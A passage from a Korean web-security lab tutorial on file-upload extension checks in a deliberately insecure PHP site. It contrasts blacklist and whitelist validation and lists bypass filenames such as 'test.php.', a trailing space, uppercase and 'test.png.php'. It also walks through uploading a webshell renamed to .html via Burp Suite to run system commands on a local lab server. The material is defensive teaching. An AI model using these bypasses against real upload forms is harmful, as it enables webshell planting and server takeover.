&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 WAS에서 웹쉘 업로드를 방지하기 위해 확장자 검증을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;블랙리스트 방식 vs 화이트리스트 방식&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;장점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;단점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;알맞은 기능&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;블랙리스트 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;다양한 파일 업로드 가능&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;다양한 우회 가능성 존재&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;다수 파일 업로드&lt;br /&gt;(예: 자료실)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;화이트리스트 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;우회 가능성이 제한적&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;다양한 파일 업로드 불가능&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;특정 파일 업로드&lt;br /&gt;(예: 이미지 업로드)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블랙리스트 방식: 거부할 확장자만 거부, 나머지는 허용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화이트리스트 방식: 허용할 확장자만 허용, 나머지는 거부&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘날에는 화이트리스트 방식을 많이 사용하며, 인라인 보안 장비 WAF에서도 파일 업로드에 대해 화이트리스트 검증 방식을 사용하는 경우가 있다. (보안상 화이트리스트 방식이 좀 더 유리하다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확장자 검증 동작 원리&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1456&quot; data-origin-height=&quot;701&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/82ang/btsMlzOhYTE/CPwrT0C37uD4p43CLHJgY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/82ang/btsMlzOhYTE/CPwrT0C37uD4p43CLHJgY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/82ang/btsMlzOhYTE/CPwrT0C37uD4p43CLHJgY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F82ang%2FbtsMlzOhYTE%2FCPwrT0C37uD4p43CLHJgY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1456&quot; height=&quot;701&quot; data-origin-width=&quot;1456&quot; data-origin-height=&quot;701&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;step 1) 사용자가 파일을 업로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일명을 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;step 2) 확장자 파싱&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일명에서 확장자를 파싱한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;step 3) 확장자 검증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 화이트리스트 또는 블랙리스트 방식으로 검증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 화이트리스트 방식은 화이트리스트에 등록된 확장자만 업로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 블랙리스트 방식은 블랙리스트에 등록된 확장자는 거부&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;step 4) 파일 업로드 여부 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일 업로드 여부 확인하여 업로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습8-3 개발자분들이 자주 실수하는 잘못된 대응 방안 적용&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Case 1) 검증 되지 않는 확장자 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 블랙리스트 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Case 2) 빈 값 검증 미흡&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 윈도우 서버 환경, 블랙리스트 방식&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; case 2-1) test.php.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;rarr; . 입력&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; case 2-2) test.php[공백]&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr;&lt;span&gt; 확장자 뒤에 공백을 입력 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Case 3) 대문자 검증 미흡&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 윈도우 서버 환경, 블랙리스트 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Case 4) 잘못된 확장자 파싱&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test.png.php 등의 확장자를 인식할 때 어플리케이션에서 앞의 확장자를 파싱하는 경우, 화이트/블랙리스트 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Case 1) 검증 되지 않는 확장자 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- php 확장자 사용하지 않도록 코드 추가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 에 게시글 작성부분에 php 확장자 검증 로직 추가&lt;/p&gt;
&lt;pre id=&quot;code_1739977015131&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = $file_info[&quot;extension&quot;];

			if($ext == &quot;php&quot;) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pathinfo()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;파일 경로에 대한 정보를 반환하는 함수. 옵션에 따라 연관 배열 또는 문자열로 반환한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ext 에 확장자가 파싱됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드 저장 후 insecure_website 에서 php 확장자를 가진 웹쉘 업로드를 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;859&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cIssrT/btsMoRClMtv/WqnTcxoyx7jJhHFYVNybb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cIssrT/btsMoRClMtv/WqnTcxoyx7jJhHFYVNybb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cIssrT/btsMoRClMtv/WqnTcxoyx7jJhHFYVNybb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcIssrT%2FbtsMoRClMtv%2FWqnTcxoyx7jJhHFYVNybb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;859&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;859&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 허용된 확장자가 아니라는 메시지가 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 확장자를 검증하고 있다는 의미이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/73Dgi/btsMpRnPbRk/KgiGVbT77NAR9IR80vpek0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/73Dgi/btsMpRnPbRk/KgiGVbT77NAR9IR80vpek0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/73Dgi/btsMpRnPbRk/KgiGVbT77NAR9IR80vpek0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F73Dgi%2FbtsMpRnPbRk%2FKgiGVbT77NAR9IR80vpek0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;277&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 webshell.php 업로드를 할 때 intercept on 후 php를 html 로 확장자를 변경한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bi9TAM/btsMpDpN7IM/gHILhH1rixggyXhWwvsAN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bi9TAM/btsMpDpN7IM/gHILhH1rixggyXhWwvsAN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bi9TAM/btsMpDpN7IM/gHILhH1rixggyXhWwvsAN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbi9TAM%2FbtsMpDpN7IM%2FgHILhH1rixggyXhWwvsAN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;806&quot; height=&quot;538&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;538&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;html 로 확장자 변경 후 intercept off 를 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;529&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crPRbq/btsMoiUNVrM/NC5UR5qJSKL1YQiRNaT6J0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crPRbq/btsMoiUNVrM/NC5UR5qJSKL1YQiRNaT6J0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crPRbq/btsMoiUNVrM/NC5UR5qJSKL1YQiRNaT6J0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrPRbq%2FbtsMoiUNVrM%2FNC5UR5qJSKL1YQiRNaT6J0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;721&quot; height=&quot;529&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;529&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 html 확장자로 업로드 된것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;649&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ny4NT/btsMplweQtC/ktTKaTYOA7KLhvlm4Q5WgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ny4NT/btsMplweQtC/ktTKaTYOA7KLhvlm4Q5WgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ny4NT/btsMplweQtC/ktTKaTYOA7KLhvlm4Q5WgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fny4NT%2FbtsMplweQtC%2FktTKaTYOA7KLhvlm4Q5WgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;649&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;649&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드된 파일의 경로에 접속해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://192.168.56.1/insecure_website/upload/webshell.html ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;585&quot; data-origin-height=&quot;202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcDXKk/btsMpJ4wT4P/ZVE1i2hOBSbw6zqGKOoEYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcDXKk/btsMpJ4wT4P/ZVE1i2hOBSbw6zqGKOoEYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcDXKk/btsMpJ4wT4P/ZVE1i2hOBSbw6zqGKOoEYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcDXKk%2FbtsMpJ4wT4P%2FZVE1i2hOBSbw6zqGKOoEYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;585&quot; height=&quot;202&quot; data-origin-width=&quot;585&quot; data-origin-height=&quot;202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 시스템 명령이 실행되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;324&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rj7Fq/btsMnCzwN5m/fC7gs6exxIvNcQh8VYFFN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rj7Fq/btsMnCzwN5m/fC7gs6exxIvNcQh8VYFFN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rj7Fq/btsMnCzwN5m/fC7gs6exxIvNcQh8VYFFN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRj7Fq%2FbtsMnCzwN5m%2FfC7gs6exxIvNcQh8VYFFN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;324&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;324&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php가 서버 사이드 스크립트 확장자인데 html 은 왜 실행이될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tomcat, Java Web Application 에서는 html 은 서버 사이드 스크립트로 실행되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 경로로 가서 서버의 설정 파일을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C:\APM_Setup\Server\Apache\conf\extra\httpd-php5.conf&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpiRBX/btsMnOfuYeJ/RG3KHRsLcB9ujdNcQdt6R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpiRBX/btsMnOfuYeJ/RG3KHRsLcB9ujdNcQdt6R0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpiRBX/btsMnOfuYeJ/RG3KHRsLcB9ujdNcQdt6R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpiRBX%2FbtsMnOfuYeJ%2FRG3KHRsLcB9ujdNcQdt6R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;192&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;192&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 와 html 이 서버 사이드 스크립트로 인식이 되도록 설정값으로 적용되어 있는 상태이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 html이 서버 사이드 스크립트로 인식되어 webshell.html 로 업로드 시 시스템 명령어 실행이 가능했던 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 경우 php 와 html 확장자 모두 검증하여 업로드 할 수 없도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 에 게시글 작성부분에 html 확장자 검증 로직 추가&lt;/p&gt;
&lt;pre id=&quot;code_1739978631417&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = $file_info[&quot;extension&quot;];

			if($ext == &quot;php&quot; || $ext ==&quot;html&quot;) {
				echo(&quot;&amp;lt;script&amp;gt;alert('허용된 확장자가 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Case 2) 빈 값 검증 미흡&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 확장자에 빈 값이 들어오는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure_website 에 webshell.php 를 업로드 하는데, 확장자 부분에 . 을 입력하여 확장자 검증을 우회해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 intercept on 후 게시글을 작성하면 아래와 같이 버프스위트 화면이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 확장자 끝 부분에 . 을 입력한 후 intercept off 를 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;350&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIRNJv/btsMo4WDEVP/uIVCvBlI6OFOSWtvK4d6Qk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIRNJv/btsMo4WDEVP/uIVCvBlI6OFOSWtvK4d6Qk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIRNJv/btsMo4WDEVP/uIVCvBlI6OFOSWtvK4d6Qk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIRNJv%2FbtsMo4WDEVP%2FuIVCvBlI6OFOSWtvK4d6Qk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;752&quot; height=&quot;350&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;350&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 게시글 업로드가 확인된다.&lt;/p&gt;
